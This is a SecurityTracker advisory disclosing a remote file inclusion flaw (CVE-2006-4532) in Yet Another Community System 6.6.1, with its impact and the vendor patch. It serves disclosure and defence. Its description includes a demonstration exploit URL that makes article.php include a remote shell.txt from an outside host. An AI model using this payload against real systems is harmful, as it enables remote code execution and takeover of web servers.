Yet Another Community System (YACS) Include File Bug in 'context[path_to_root]' Parameter Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1016775 |
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SecurityTracker URL: http://securitytracker.com/id/1016775
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CVE Reference:
CVE-2006-4532
(Links to External Site)
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Updated: Jun 8 2008
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Original Entry Date: Sep 1 2006
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Impact:
Execution of arbitrary code via network, User access via network
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Fix Available: Yes Vendor Confirmed: Yes Exploit Included: Yes
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Version(s): 6.6.1
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Description:
A vulnerability was reported in Yet Another Community System (YACS). A remote user can include and execute arbitrary code on the target system.
The software does not properly validate user-supplied input in the 'context[path_to_root]' parameter. A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will run with the privileges of the target web service.
Several scripts are affected.
A demonstration exploit URL is provided:
http://[target]/[patch]/yacs/articles/article.php?context[path_to_root]=http://url--ataca.org/shell.txt?
MATASANOS discovered this vulnerability.
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Impact:
A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
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Solution:
The vendor has issued a patch for version 6.6.1, available at:
http://www.yetanothercommunitysystem.com/yacs/articles/view.php/1664
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Vendor URL: www.yetanothercommunitysystem.com/yacs/articles/view.php/1664 (Links to External Site)
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Cause:
Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Message History:
None.
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Source Message Contents
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[Original Message Not Available for Viewing]
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